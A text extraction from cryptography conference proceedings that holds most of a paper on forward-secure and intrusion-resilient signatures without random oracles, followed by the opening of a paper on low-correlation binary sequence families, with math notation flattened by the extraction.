does not depend on the number of adversarial queries. Instead, it mildly depends
on the number of time periods in the lifetime of the protocol as the parameter �
is logarithmic in this number of periods. Hence, this assumption is quite reason-
able for any realistic number of periods (such as N ≤ 215). However, it sounds
much weaker than related assumptions used in [7,40] where the counterpart of
parameter � may be as large as 230 (instead of � ≈ 15 here).
3 We write (i′.r′) > (i.r) when i′ > i or i′ = i and r′ > r.
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3 A New Key-Evolving Signature Without Random
Oracles

Intuitively, the scheme uses the hierarchical key derivation method of [8] in the
context of signatures. It can be thought of as using the signature analogue of the
concept of Binary Tree Encryption suggested by Canetti, Halevi and Katz [13].
As in [30,15], we associate time periods with leaves of the tree. To achieve a key-
evolving signature in the standard model, we only need a “binary tree signature”
which is selective-node [13] and adaptive-message secure (i.e. the adversary has
to choose the node to attack ahead of time but can adaptively choose her target
message). That is why we implement our hierarchical signature with Waters’s
signature [39] (which is secure against adaptive chosen-message attacks [20] in
the standard model) at the lowest level.

In the description below, we imagine binary tree of height � where the root
(at depth 0) has label ε. When a node at depth ≤ � has label w, its children are
labeled with w0 and w1. Besides, 〈i〉 stands for the �-bit representation of integer
i. The leaves of the tree correspond to successive time periods in the obvious
way, stage i being associated with the leaf labeled by 〈i〉. Periods are indexed
from 0 to N −1 with N = 2�−1. As in [30,15], signatures are generated using the
private key of node 〈i〉 at stage i where the full private key also includes node
keys for all right siblings for nodes on the path from 〈i〉 to the root. The latter
key material allows for key updates from period i to the next one.

Keygen: given security parameters λ, n ∈ N and a number of stages N = 2�−1,

1. choose bilinear map groups (G, GT ) of order p > 2λ and g ∈ G.
2. Compute g1 = gα for a random α R← Z∗

p. Choose g2, g3, h1, . . . , h�
R← G,

u′, u1, . . . , un
R← G and compute Z = e(g1, g2).

3. Select a collision-resistant hash function h : {0, 1}∗ → {0, 1}n.
4. Define functions F : {0, 1}≤� → G, G : {0, 1}n → G as

F (w) = g3 ·
k∏

j=1

h
wj

j G(m) = u′ ·
n∏

j=1

u
mj

j

where w = w1 . . . wk and m = m1 . . .mn (wi, mj ∈ {0, 1} for all i, j).
The public key is

pk = {g, Z, g1, g2, g3, h1, . . . , h�, u
′, u1, . . . , un}.

The matching root secret key skε = gα
2 is not stored but is directly used

to derive lower level node keys.

5. Set sk0 =
(
gα
2 gr0

3 , gr0 , hr0
2 , . . . hr0

�

)
and sk1 =

(
gα
2 (g3h1)r1 , gr1 , hr1

2 , . . . hr1
�

)

with r0, r1
R← Z∗

p. Using sk0, recursively apply algorithm Extract (defined
below) to obtain node keys sk01, sk001, . . . sk0�−11.

6. The initial private update key is sk0 = {sk1, sk01, sk001, . . . , sk0�−11}.
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Extract (skw1...wk−1): to generate private keys for its children, a node at level
k − 1 parses its private key into

skw1...wk−1 = (a0, a1, bk, . . . , b�) =
(
gα
2 · F (w1 . . . wk−1)r′

, gr′
, hr′

k , . . . , hr′

�

)
.

For j = 0, 1, it chooses a random tj
R← Z∗

p and computes

skw1...wk−1j =
(
a0 · bj

k · F (w1 . . . wk−1j)tj , a1 · gtj , bk+1 · htj

k+1, . . . , b� · htj

�

)

=
(
gα
2 · F (w1 . . . wk−1j)rj , grj , h

rj

k+1, . . . , h
rj

�

)

where rj = r′ + tj .

Update (SKi, i + 1): (where i < N − 1)

1. Parse 〈i〉 as i0i1 . . . i� with i0 = ε. Parse SKi into

(lski, ski) =
(
sk〈i〉, {ski0...ik−11}ik=0

)

(where lsk0 is undefined if i = 0) and erase sk〈i〉.
2. If i� = 0, SKi+1 simply consists of remaining node keys:

SKi+1 =
(
lski+1, ski+1) = (ski0...i�−11, {ski0...ik−11}ik=0,k<�

)
.

Otherwise, let k̃ < � be the largest index such that ik̃ = 0. Let i′ =
i0 . . . ik̃−11. Using ski′ (which is available as part of ski), recursively
apply Extract to obtain node keys ski′1, ski′01, . . . , ski′0�−k̃−11 and finally
sk〈i+1〉 = ski′0�−k̃ . Erase ski′ and return remaining keys as SKi+1.

Sign (i, SKi, M): let 〈i〉 = i1 . . . i�. Parse SKi into
(
sk〈i〉, {ski0...ik−11}ik=0

)
and

lski = sk〈i〉 into (a0, a1) = (gα
2 · F (i1 . . . i�)r, gr) (which is a key of level �).

This algorithm computes m = h(M), chooses s R← Z∗
p and returns

(σ0, σ1, σ2) = (a0 · G(m)s, a1, g
s) = (gα

2 · F (i1 . . . i�)r · G(m)s, gr, gs) .

Verify (M, i, PK, σ): let 〈i〉 = i1 . . . i�. The purported signature σ = (σ0, σ1, σ2)
on m = h(M) ∈ {0, 1}n is accepted if and only if

e(σ0, g)
e(F (i1 . . . i�), σ1)e(G(m), σ2)

= Z.

The completeness is checked by noting that

e(σ0, g) = e(g1, g2) · e (F (i1 . . . i�), gr) · e (G(m), gs) .

From an efficiency point of view, signature and verification take constant time
while key update requires O(�2) exponentiations. The verification cost amounts
to a product of three pairings (which is much faster to compute than 3 sequential
pairings as discussed in [22]). Combining the hierarchical key derivation of [8]
with Waters’s signature at the lower level allows for constant-size signatures.
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With � = 15 and for a typical parameter n = 160, the public key consists of
179 elements of G and one element of GT . If we instantiate the scheme with
asymmetric pairings e : G × G′ → GT (over elliptic curves such as those of [4]
or [35]), we may obtain signatures of 3 × 160 = 480 bits while public keys can
be stored within 40 Kb (which remains acceptable in many settings).

Since Waters’s signature has a large public key, it is fairly cheap to turn it into
a forward-secure signature as we did. Indeed, our scheme performs interestingly
w.r.t. the one obtained by applying the MMM [32] construction to Waters’s
scheme with the motivation to obtain forward-secure signatures in the standard
model under soft computational assumptions (details are given in the full version
of the paper). However, it answers open questions raised in section 9.1 of [28]
as it offers constant-size signatures and at most log-squared complexity in all
parameters in the absence of random oracles. It also improves on many previous
non-generic schemes [5,2,11,25] which all have some linear cost in N (at least
in key generation). The only exceptions are [14,24,29] where signatures have
logarithmic size.

In the random oracle model, we can even get constant-size public keys as
elements g2, g3, h1, . . . , h� can be derived from a random oracle (as noticed in [8])
and the function G may be also replaced by an independent random oracle. In
this case, verification becomes logarithmic since evaluating F (i1 . . . i�) requires to
compute � hash values on G (which has non-negligible cost unlike hash operations
over Z∗

p). To retain constant-time verification, we can keep g2, g3, h1, . . . , h� (but
not u′, u1, . . . , un) in the public key. In summary, the random oracle model yields
either constant-size public keys or constant-time verification.

We also observe that ideas from [32] can be applied to support an arbitrary
polynomial number of time periods: the number of stages does not have to be
known when initializing the scheme.

Theorem 1. Assuming that a forger F can (t, qs, ε)-break the scheme, there is
an algorithm B that (t′, ε′)-breaks the � + 1-Diffie-Hellman assumption where

ε′ ≥ ε

4Nqs(n + 1)
t′ ≤ t + O(qstexp),

texp denoting the time complexity of an exponentiation in G.

Proof. We outline an algorithm B using the forger F to find z�+1 = g(a�+1) given
(z1, z2, . . . , z�) = (ga, g(a2), . . . , g(a�)).

At the outset of the game, the simulator B chooses i� R← {1, . . . , N − 1} as a
guess for the time period to be attacked by F . It parses i� into 〈i�〉 = i�1 . . . i��
and prepares public parameters so as to handle all adversarial queries.

Preparation: to generate the public key, B picks γ R← Z
∗
p and sets g1 = z1 = ga,

g2 = z� · gγ = gγ+(a�). The (unknown) root secret key is thereby implicitly set
to skε = ga

2 = gaγ+(a�+1) = zγ
1 · z�+1. Then, B chooses γ1, . . . , γ�, δ

R← Z∗
p and

defines g3 = gδ
∏�

j=1 z
i�
j

�−j+1 and hj = gγj /z�−j+1 for j = 1, . . . , �.
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Next, B picks κ ∈ {0, . . . , n} and defines τ = 2qs. We assume4 τ(n + 1) < p
which implies 0 ≤ κτ < p. Algorithm B also selects x′ R← Zτ and a vector
(x1, . . . , xn) of elements with xi ∈ Zτ for all i. It also chooses at random an
integer y′ R← Zp and a vector (y1, . . . , yn) with yj ∈ Zp for all j. For ease of
analysis, we consider functions

J(m) = x′ +
n∑

i=1

mixi − κτ and K(m) = y′ +
n∑

i=1

miyi.

taking as input strings m ∈ {0, 1}n. Remaining public parameters are chosen as

u′ = gx′−κτ
2 gy′

ui = gxi
2 gyi for 1 ≤ i ≤ n

which means that, for any m ∈ {0, 1}n, G(m) = u′ ·
∏n

i=1 umi

i = g
J(m)
2 · gK(m).

F is challenged on (g, Z, g1, g2, g3, h1, . . . , h�, u
′, u1, . . . , un) with Z = e(g1, g2).

Deriving node keys: B has to compute node private keys for right siblings
(whenever they exist) of all nodes on the path from the root to 〈i�〉 (we call
this path “crucial path”). For all indexes k ∈ {1, . . . , �} such that i�k = 0, to
generate a private key for node i�|k = i�1 . . . i�k−11, B first picks r̃ R← Z∗

p. If we
define r = r̃ + ak ∈ Z∗

p, B is able to compute

ski�|k =
(
ga
2 ·

(
g3 · h

i�
1

1 . . . h
i�
k−1

k−1 hk

)r
, gr, hr

k+1, . . . , h
r
�

)
.

We indeed observe that
(
g3 · hi�

1
1 . . . h

i�
k−1

k−1 hk

)r

=

⎛

⎝gδ+
�k−1

j=1 γji�
j +γk · z−1

�−k+1 ·
�∏

j=k+1

z
i�
j

�−j+1

⎞

⎠
r

where the second term in the product of the right hand side member equals

z−r
�−k+1 = z−r̃

�−k+1 · z−ak

�−k+1 = z−r̃
�−k+1/z�+1

so that ga
2 ·

(
g3 · hi�

1
1 . . . h

i�
k−1

k−1 hk

)r can be computed as

zγ
1 ·

(
gr̃ · zk

)δ+
�k−1

j=1 γji�
j +γk · z−r̃

�−k+1 ·
�∏

j=k+1

(
zr̃

�−j+1 · z�−j+k+1
)i�

j .

Besides, elements gr = gr̃ · zk and hr
j =

(
gr̃ · zk

)γj
/
(
zr̃

�−j+1 · z�−j+k+1
)

(for
j = k + 1, . . . , � and when k < �) are all computable from available values.

Private keys for right siblings of nodes in the crucial path yield update and
local keys for stages i > i�. In the same way, B can compute private keys for left
siblings whenever they exist. Namely, for all indexes k ∈ {1, . . . , �} s.t. i�k = 1, a
private key for node i�|k = i�1 . . . i�k−10 is computable as

(
g3 · h

i�
1

1 . . . h
i�
k−1

k−1

)r

=

⎛

⎝gδ+
�k−1

j=1 γji�
j · z�−k+1 ·

�∏

j=k+1

z
i�
j

�−j+1

⎞

⎠
r

4 This is a realistic requirement as parameters should be chosen s.t. n ≥ 160, p > 2160

and it is common to suppose qs < 230.
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and zr
�−k+1 = zr̃

�−k+1 · zak

�−k+1 = zr̃
�−k+1/z�+1. Once generated, those keys allow

extracting local keys for periods i < i� − 1 which correspond to leaves at the
left of 〈i�〉 in the tree. Hence, B can compute all local keys for periods i �= i�

and not only those for which i > i�. We note that B fails if F ever queries an
update key for some period i < i�. According the rules of definition 2, this can
only happen if B wrongly guesses which period will be attacked by F .

Signing queries: at any time, F may ask for signatures on messages for any pe-
riod number i. Those queries are answered using relevant private keys whenever
they are computable. To answer signing queries for period i�, B uses the same
strategy as in the security proof of Waters’s signature [39]. At the first message
M queried for stage i�, B chooses a random ri�

R← Z∗
p that will be used to answer

all subsequent queries for period i�. If J(m) = 0 mod p, B aborts. Otherwise, it
picks s R← Z∗

p and returns

σ = (σ0, σ1, σ2) =
(

g
−K(m)

J(m)
1 · F (i�1 . . . i�� )

ri� · G(m)s, gri� , g
− 1

J(m)
1 · gs

)
.

If we define s̃ = s − a/J(m), we indeed have g
− 1

J(m)
1 · gs = gs̃ and

g
−K(m)

J(m)
1 · F (i�1 . . . i�� )

ri� · G(m)s = g
−K(m)

J(m)
1 · F (i�1 . . . i��)

ri� · G(m)s̃ ·
(
ga
2 · g

K(m)
J(m)
1

)

= ga
2 · F (i�1 . . . i�� )

ri� · G(m)s̃.

Forgery: if B does not abort and luckily guesses i�, F comes up with a forgery
σ� = (σ�

0 , σ�
1 , σ�

2) on some new message m� = h(M�) for stage i�. At that point,
B reports “failure” if J(m�) �= 0 mod p. Otherwise, G(m�) = gK(m�) and

σ�
0 = ga

2 · F (i�1 . . . i�� )
r · gsK(m), σ�

1 = gr, σ�
2 = gs

for some r, s ∈ Z∗
p. Since F (i�1 . . . i�� ) = gδ+

��
j=1 γji�

j , B can extract

ga(�+1)
=

σ�
0

zγ
1 · σ�

1
δ+
�

�
j=1 γji�

j · σ�
2

K(m�)
.

When analyzing B’s probability of success, we observe that it terminates with-
out aborting if, J(m) �= 0 mod p for all signing queries m. As 0 ≤ κτ < p
and x′ +

∑n
i=1 mixi < τ(n + 1) < p, we note that J(m) = 0 mod p implies

J(m) = 0 mod τ (and thus J(m) �= 0 mod τ implies J(m) �= 0 mod p). Hence, to
simplify the analysis, we force B to abort whenever J(m) = 0 mod τ in a signing
query. Besides, B is successful if the target message satisfies J(m�) = 0 mod p.

More formally, let m′
1, . . . , m

′
qs

be messages appearing in signing queries and
let us define events Ai : J(m′

i) �= 0 mod τ and A� : J(m�) = 0 mod p, the
probability that B does not fail is

Pr[¬abort] ≥ Pr[
qs∧

i=1

Ai ∧ A∗].

As J(m�) = 0 mod p implies J(m�) = 0 mod τ and given that, if J(m�) =
0 mod τ , there is a unique κ ∈ {0, . . . , n} that yields J(m�) = 0 mod p, we have
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Pr[A�] = Pr[J(m�) = 0 mod τ ]Pr[J(m∗)=0 mod p|J(m�)=0 mod τ ]=
1
τ

1
n + 1

.

Moreover,
Pr[

qs∧

i=1

Ai|A�] = 1 −
qs∑

i=1

Pr[¬Ai|A�] = 1 − qs

τ
,

where the rightmost equality stems from the independence of Ai and A� for any
i (hence Pr[¬Ai|A�] = 1/τ). Putting the above together, we obtain

Pr[¬abort] = Pr[A�]Pr[
qs∧

i=1

Ai|A∗] =
1

τ(n + 1)

(
1 − qs

τ

)
=

1
4qs(n + 1)

thanks to the choice of τ = 2qs. Since B correctly guesses the index i� of the
attacked stage with probability higher than 1/N , the claimed bound follows. �


4 Intrusion-Resilient Signatures Without Random
Oracles

In [16], Dodis et al. showed how to generically obtain intrusion-resilient schemes
from key-evolving cryptosystems where the key update algorithm satisfies a suit-
able homomorphic property. Although they proved the security of their conver-
sion in the context of encryption schemes, their proof simply goes through for
digital signatures (as detailed in the full version of the paper).

At a high level, the idea is to share the update key of a key-evolving signature
between the signer and the base so that the sharing for period i+1 can be derived
from that of period i. At stage i, the signer stores the local key lski (used in
signing operations) and his share of the update key sksi while the base stores the
other share skbi. This sharing ensures security against multiple compromises of
base and user keys. When each share of the update key is independently evolved
(using the update algorithm of the key-evolving scheme) at period i, shares of
update and local keys for period i + 1 are obtained. The update message SKUi

sent by the base is its evolved share of the local key. Thanks to the homomorphic
property of the update algorithm, the signer can combine SKUi with his own
share of the evolved local key to reconstruct the local key lski+1.

In our notation, when two vectors sks.w = (a0, a1, bk+1, . . . , b�) and skb.w =
(a′

0, a
′
1, b

′
k+1, . . . , b

′
�) are node keys at level k in the hierarchy, we denote by

sks.w � skb.w the component-wise product (a0 · a′
0, a1 · a′

1, bk+1 · b′k+1, . . . , b� · b′�).

Keygen: given security parameters λ, n ∈ N and a number of periods N = 2�−1,

1. choose bilinear map groups (G, GT ) and g ∈ G. Set g1 = gα with α R← Z∗
p.

2. Pick g2, g3, h1, . . . , h�
R← G, u′, u1, . . . , un

R← G and set Z = e(g1, g2).
3. Select a collision-resistant hash function h : {0, 1}∗ → {0, 1}n.
4. Define functions F : {0, 1}≤� → G, G : {0, 1}n → G as

F (w) = g3 ·
k∏

j=1

h
wj

j G(m) = u′ ·
n∏

j=1

u
mj

j
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where w = w1 . . . wk and m = m1 . . .mn (wi, mj ∈ {0, 1} for all i, j).
The public key is

PK = {g, Z, g1, g2, g3, h1, . . . , h�, u
′, u1, . . . , un}.

The root secret skε = gα
2 is used to derive lower level node keys.

5. Extract node keys for labels 0 and 1 at level 1. Namely, compute sk0 =(
gα
2 gr0

3 , gr0 , hr0
2 , . . . hr0

�

)
, sk1 =

(
gα
2 (g3h1)r1 , gr1 , hr1

2 , . . . hr1
�

)
for random

r0, r1
R← Z∗

p. Using sk0, recursively apply algorithm Extract (defined
below) to generate keys sk01, sk001, . . . sk0�−11. Consider the key set
S〈0〉 = {sk1, sk01, sk001, . . . , sk0�−11}. For each skw ∈ S〈0〉, define skb.w =
skw � (R−1

w , 1, 1, ..., 1) and sks.w = skw � (Rw, 1, 1, ..., 1) with Rw
R← G.

6. Base and signer keys are SKB0.0 = {skb.1, skb.01, skb.001, . . . , skb.0�−11}
and SKS0.0 = (−, {sks.1, sks.01, sks.001, . . . , sks.0�−11}).

Extract (sk�.w1...wk−1): (where � = s or � = b) is an auxiliary algorithm used by
the base and the signer to derive node private keys. A node at level k − 1
parses its private key into sk�.w1...wk−1 = (a0, a1, bk, . . . , b�). For j = 0, 1, it
chooses a random tj

R← Z∗
p and computes

sk�.w1...wk−1j =
(
a0 · bj

k · F (w1 . . . wk−1j)tj , a1 · gtj , bk+1 · h
tj

k+1, . . . , b� · h
tj

�

)
.

Base Update (SKBi.r, i + 1): (where i < N − 1)

1. Parse 〈i〉 as i0i1 . . . i� with i0 = ε. Let SKBi.r = {skb.i0...ik−11}ik=0.
2. If i� = 0, the update message SKUi is the share skb.i0...i�−11 and the

updated base key is SKBi+1.0 = {skb.i0...ik−11}ik=0,k<�. Otherwise, let
k̃ < � be the largest index s.t. ik̃ = 0. Let i′ = i0 . . . ik̃−11. Using
skb.i′ (available as part of SKBi.r), recursively apply Extract to obtain
skb.i′1, skb.i′01, . . . , skb.i′0�−k̃−11 and skb.i′0�−k̃ which is the update message
SKUi. Erase skb.i′ and return SKUi = skb.〈i+1〉 and

SKBi+1.0 = {{skb.i0...ik−11}ik=0, k<k̃, skb.i′1, skb.i′01, . . . , skb.i′0�−k̃−11}.

User Update (SKSi.r, SKUi, i + 1): (with i < N − 1)

1. Let 〈i〉= i0i1 . . . i� with i0 = ε. Parse SKSi.r as
(
sk〈i〉, {sks.i0...ik−11}ik=0

)

and erase sk〈i〉.
2. If i� = 0, then set SKSi+1.0 =

(
sk〈i+1〉, {sks.i0...ik−11}ik=0,k<�

)
with

sk〈i+1〉 = sks.i0...i�−11 � SKUi. Otherwise, let k̃ be the largest value with
ik̃ = 0 and let i′ = i0 . . . ik̃−11. Using sks.i′ (available in SKSi.r), ap-
ply Extract to obtain sks.i′1, sks.i′01, . . . , sks.i′0�−k̃−11 and sks.i′0�−k̃ which
allows reconstructing sk〈i+1〉 = sks.i′0�−k̃ � SKUi. Set SKSi+1.0 as

(
sk〈i+1〉, {{sks.i0...ik−11}ik=0, k<k̃, sks.i′1, sks.i′01, . . . , sks.i′0�−k̃−11}

)

and erase sks.i′ .
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Base Refresh (SKBi.r): let 〈i〉 = i0, . . . i� and SKBi.r = {skb.i0...ik−11}ik=0.
For all keys skb.w in SKBi.r, let sk′b.w = skb.w � (R−1

w , 1, . . . , 1) for a random
Rw

R← G. Return SKBi.r+1 = {skb.w′ |skb.w ∈ SKBi.r} together with the
refresh message SKRi.r = {Rw|skb.w ∈ SKBi.r}.

User Refresh (SKSi.r, SKRi.r): let SKSi.r =
(
sk〈i〉, {sks.i0...ik−11}ik=0

)
and

SKRi.r = {Rw|sks.w ∈ {sks.i0...ik−11}ik=0} with 〈i〉 = i0, . . . i�. For all shares
of node keys sks.w ∈ {sks.i0...ik−11}ik=0, set sks.w′ = sks.w � (Rw, 1, . . . , 1)
and return SKSi.r+1 =

(
sk〈i〉, {sks.w′ |sks.w ∈ {sks.i0...ik−11}ik=0}

)
.

Sign (i, SKSi.r, M): let 〈i〉= i1 . . . i�. Parse SKSi.r into
(
sk〈i〉, {ski0...ik−11}ik=0

)

and sk〈i〉 as (a0, a1). Compute m = h(M), choose s R← Z∗
p and return

(σ0, σ1, σ2) = (a0 · G(m)s, a1, g
s) = (gα

2 · F (i1 . . . i�)r · G(m)s, gr, gs) .

Verify (M, i, PK, σ): let 〈i〉 = i1 . . . i� and m = h(M) ∈ {0, 1}n. The signature
σ = (σ0, σ1, σ2) is accepted if and only if

e(σ0, g)
e(F (i1 . . . i�), σ1)e(G(m), σ2)

= Z.

This scheme is as efficient as the key-evolving scheme of section 3 in terms of
computational cost as well as signature/key sizes. In particular, it features pri-
vate keys of size O(�2) which can be reduced to O(�) using public updateable
storage (involving some encryption algorithm) as suggested in [13]. Public keys
also have logarithmic size but, for realistic values of �, the bulk of their length
is the string u′, u1, . . . , un borrowed from Waters’s signature scheme.

It is natural to compare our scheme with the one obtained by applying the
generic construction of [27] to Waters’s signature since assumptions of compa-
rable strength are needed for the security of both schemes. It turns out that
the generic method allows for faster verification but results in signatures of
prohibitive size (up to 106 bits for N ≤ 210) for many practical applications.
Besides, it does not yield shorter public keys as the large string u′, u1, . . . , un

should remain part of the public key to avoid including it within each signature.
We concede that [27] allows for faster key updates (which take constant time
if we neglect the time for verifying log N one-time signatures). However, our
construction should be preferred for all applications where signature sizes are
primary concern.

5 Conclusion

We proposed the first random oracle-free intrusion-resilient signature with short
constant-size signatures and at most log-squared complexity in all other param-
eters. It was built on Waters’s signature by a relative public key lengthening
which is quite moderate for any realistic number of time periods.

As an intermediate result, we described a new forward-secure signature with-
out random oracles which is of independent interest. Thanks to the “homo-
morphic” properties of Waters’s signature, this new efficient scheme can be ex-
tended into a very efficient forward-secure threshold signature (following ideas
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of Abdalla et al. [1]) where no communication is required between servers dur-
ing the signing protocol. To the best of our knowledge, such a protocol did not
previously exist in the standard model.
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Abstract. A new family of binary sequences Se(ρ) (Ue(ρ)) of period
2n − 1 is constructed for odd (even) n = me and an integer ρ with
1 ≤ ρ < �m

2 �. The new family Se(ρ) (or Ue(ρ)) contains Kim and No’s
construction as a subset if m-sequences are excluded from both construc-
tions. Furthermore, the new sequences are proved to have low correlation
property, large linear span and large family size.

Keywords: correlation, binary sequences, large family size, linear span.

1 Introduction

A family of sequences with low correlation and large family size play impor-
tant roles in code-division multiple-access (CDMA) systems, spread spectrum
systems, and broadband satellite communications [1]. The sequences with low
cross correlation employed in CDMA communications can successfully combat
interference from the other users who share a common channel. On the other
hand, they can also be employed in stream cipher cryptosystems as key stream
generators to resist cross-correlation attacks. It is well known that the sequences
employed in the above types of applications must have large linear spans in or-
der to resist attacks from the application of the Berlekamp-Massey algorithm.
Many families of binary sequences of period 2n − 1 with low correlations have
been found. The Gold sequence [2] achieving the Sidelnikov bound, the large and
small families of Kasami sequences [3], as well as the GKW -like sequences in
[4] all have desirable correlation properties. However, these sequences have small
values of linear span.

In order to obtain binary sequences with large linear span as well as low
correlation, Boztas and Kumar constructed a new family of sequences (Gold-like
sequences) for odd n [5]. Its analogy for even n was introduced by Udaya [6].
These constructions were further generalized by Kim and No [4]. The generalized
sequences can achieve a larger linear span than Gold sequences, but have the
same family size as the latter. The constructions were extended to the nonbinary
case as Trachtenberg-Helleseth (TH) sequences in [7,8] and TH-like sequences
in [9]. In [10], by relaxing correlation, Yu and Gong constructed a sequence set
with larger linear span and family size. Table 1 summarizes the family size and
linear span properties of the families with low correlation mentioned above.
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Table 1. Comparison of the families of sequences with low correlation

Family n Family Size Cmax Linear Span

Gold[2] n = 2m + 1 2n + 1 1 + 2(n+1)/2 2n

Kasami(Small Set)[3] n = 2m 2m 1 + 2m 3n/2
GKW − like[4] n = me, m odd 2n + 1 1 + 2(n+e)/2 n(m + 1)/2

Boztas − Kumar[5] n = 2m + 1 2n + 1 1 + 2(n+1)/2 n(n + 1)/2
Udaya[6] n = 2m 2n + 1 1 + 2m+1 n(n + 1)/2
TH [7,8] n = me, m odd pn + 1 1 + p(n+e)/2 2n

TH − like[9] n = me, m odd pn + 1 1 + p(n+e)/2 n(m + 1)/2
New family n = me, m odd 2nρ 1 + 2n+(2ρ−1)e/2 n(m + 1)/2

n = me, m even 2nρ 1 + 2n+2ρe/2 n(m + 1)/2

In this paper, we generalize the construction in [4] at the price of the decrease
of maximum linear span and the increase of maximum correlation. A new family
of binary sequences in Se(ρ) (Ue(ρ)) is constructed for odd (even) n = me and
an integer ρ with 1 ≤ ρ < �m

2 �. Se(1) and Ue(1) is the family of sequences
constructed by Kim and No [4].

The organization of the paper is as follows. In Section 2, we give some pre-
liminaries on definitions and concepts of sequences. In Section 3, we present new
families Se(ρ) and Ue(ρ) of binary sequences of period 2n − 1 for odd and even
n, respectively. Section 4 analyzes the linear span of each family. Conclusions
and remarks are given in Section 5.

2 Preliminaries

Let F2n be the finite field with 2n elements. Then the trace function Trn
m(·) from

F2n to F2m is defined by

Trn
m(x) =

n
m−1∑

i=0

x2mi

where x ∈ F2n and m|n. The trace function has the following properties:
i) Trn

m(ax + by) = a Trn
m(x) + b T rn

m(x), for all a, b ∈ F2m , x, y ∈ F2n ;
ii) Trn

m(x2m

) = Trn
m(x), for all x ∈ F2n .

A Boolean function on n variables may be viewed as a mapping Fn
2 to F2.

The Fourier transform F(λ) of a Boolean function f(x) is defined by

F(λ) =
∑

x∈F n
2

(−1)f(x)+λ·x, λ ∈ Fn
2

where λ · x denotes the inner product of two vectors. The trace transform of
functions defined on F2n was introduced by Olsen, Scholtz and Welch [11]. Let
g(x) be a function from F2n to F2. Its trace transform G(λ) is defined by

G(λ) =
∑

x∈F2n

(−1)g(x)+Trn
1 (λx), λ ∈ F2n
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By using a basis of F2n , every function from F2n to F2 can be expressed as a
Boolean function on Fn

2 . A Boolean function f(x) on F2n is a quadratic form if it
is expressible as a homogeneous degree two polynomial on F2n . The distribution
of trace transform values of a quadratic Boolean function on F2n is determined
by the rank of its symplectic form Bf (x, z) = f(x) + f(x + z) + f(z) [12].

A Boolean function f(x) on F2n can be represented as [13]

f(x) =
∑

k∈Γ (n)

Trnk
1

(
Akxk

)
, Ak ∈ F2nk , x ∈ F2n

where Γ (n) is the set consisting of all coset leaders modulo 2nk − 1, and nk|n is
the size of the cyclotomic coset.

For odd n = me, let

f(x) = Trn
1 (η0x) +

m−1
2∑

i=1

Trn
1

(
ηix

1+2ei
)

, x ∈ F ∗
2n (1)

For even n = me where m is even, let

f(x) = Trn
1 (η0x) +

m
2 −1∑

i=1

Trn
1

(
ηix

1+2ei
)

+ Tr
n
2
1

(
ηn

2
x2

n
2
)

, x ∈ F ∗
2n (2)

where each ηi ∈ F2n for 0 ≤ i < �m
2 � and ηn

2
∈ F2

n
2
.

In the following fact, we focus on the exponential sum of the quadratic Boolean
function f(x) on F2n .

Fact 1 [14]: Let ηi (0 ≤ i < �m
2 �) in (1) or (2) be given such that at least

one ηi ∈ F2n is nonzero. For an integer h with 1 ≤ h ≤ �n
2 �, if Bf (x, z) has a

rank 2h where e|h, i.e. Bf (x, z) has 2n−2h solutions in F2n for all z ∈ F2n , the
exponential sum of f(x) takes on values of 0 and ±2n−h for all η0 ∈ F2n , and
its distribution is given by

∑

x∈F2n

(−1)f(x) =

⎧
⎨

⎩

0 2n − 22h times
2n−h 22h−1 + 2h−1 times

−2n−h 22h−1 − 2h−1 times

Let C be a family of M binary sequences of period N , i.e.

C = {si(t)|0 ≤ i ≤ M − 1, 0 ≤ t ≤ N − 1}

Then, the correlation function between two sequences {si(t)} and {sj(t)} in
C is

Csi,sj (τ) =
N−1∑

t=0

(−1)si(t)+sj(t+τ), 0 ≤ i, j ≤ M − 1, 0 ≤ τ ≤ N − 1

The maximum magnitude Cmax of the correlation values is

Cmax = max |Csi,sj (τ)|, 0 ≤ i, j ≤ M − 1, 0 ≤ τ ≤ N − 1
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where τ �= 0 if i = j. Clearly, Cmax is maximum of all nontrivial auto- and
cross correlations of the sequences. The set will be called a (N, M, Cmax) family
of sequences, where M is the family size, Cmax is the maximum correlation
magnitude. We say that the set has low cross correlation if Cmax ≤ c

√
N where

c is a constant. For practical applications, it is desirable that M and N are large
and non trivial correlation Cmax is as small as possible.

Let α be a primitive element of F2n , the Boolean function f(x) on F2n defines
a binary sequence of period 2n − 1 denoted by s(t) = f(αt), t = 0, 1, · · · 2n − 2.
Then, f(x) is called a trace representation of {s(t)}. The linear span of a periodic
sequence is the length of the shortest linear feedback shift registers that can
generate the sequence. It can be determined by expanding the expression of the
sequence {s(t)} as a polynomial in αt of degree less than 2n − 1 and counting
the number of monomials with nonzero coefficients occurring in the expansion.

3 New Family of Binary Sequences with Large Size

In this section, we present a new family of binary sequences with low correlation,
large family sizes and large linear spans for odd and even n, respectively.

3.1 Construction of Se(ρ) for Odd n

Construction 1. For odd n = me and an integer ρ with 1 ≤ ρ ≤ m−1
2 , a family

of binary sequences Se(ρ) is defined by Se(ρ) = {sΛ|Λ = (λ0, · · · λρ−1), λi ∈
F2n}, where sΛ = {sΛ

0 , · · · sΛ
2n−2} is a binary sequence of period 2n −1 with sΛ

t =
sΛ(αt) for a primitive element α of F2n , where sΛ(x), the trace representation
of sΛ

t , is given by

sΛ(x) = Trn
1 (λ0x) +

ρ−1∑

i=1

Trn
1

(
λix

1+2ei
)

+

m−1
2∑

i=ρ

Trn
1

(
x1+2ei

)
(3)

for x ∈ F ∗
2n .

Lemma 1. All sequences in the family Se(ρ) are cyclically distinct. Thus, the
family size of Se(ρ) is 2nρ.

Proof. We investigate a time-shifted version of a sequence in Se(ρ) represented
as

sΘ(δx) = Trn
1 (θ0δx) +

ρ−1∑

i=1

Trn
1

(
θiδ

1+2ei

x1+2ei
)

+

m−1
2∑

i=ρ

Trn
1

(
δ1+2ei

x1+2ei
)

(4)

where Θ = (θ0, · · · θρ−1), θi ∈ F2n , and δ ∈ F ∗
2n . For all x ∈ F ∗

2n , it is identical
to the sequence of (3), if and only if

λ0 = θ0δ, λi = θiδ
1+2ei

, 1 ≤ i < ρ
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and
δ1+2ei

= 1, ρ ≤ i ≤ m − 1
2

(5)

For odd n, since gcd(2n − 1, 1 + 2
n−e

2 ) = 1, then δ = 1 is a unique so-
lution in (5), which only gives a trivial solution of λi = θi for 0 ≤ i < ρ.
Thus, for any λi in F2n with 0 ≤ i < ρ, the sequences in Se(ρ) are cyclically
distinct. 
�

The cross correlation of two sequences sΛ and sΘ in Se(ρ) is defined by

CsΛ,sΘ = −1 +
∑

x∈F2n

(−1)f(x)

where

f(x) = Trn
1 (η0x) +

m−1
2∑

i=1

Trn
1

(
ηix

1+2ei
)

(6)

ηi =

⎧
⎨

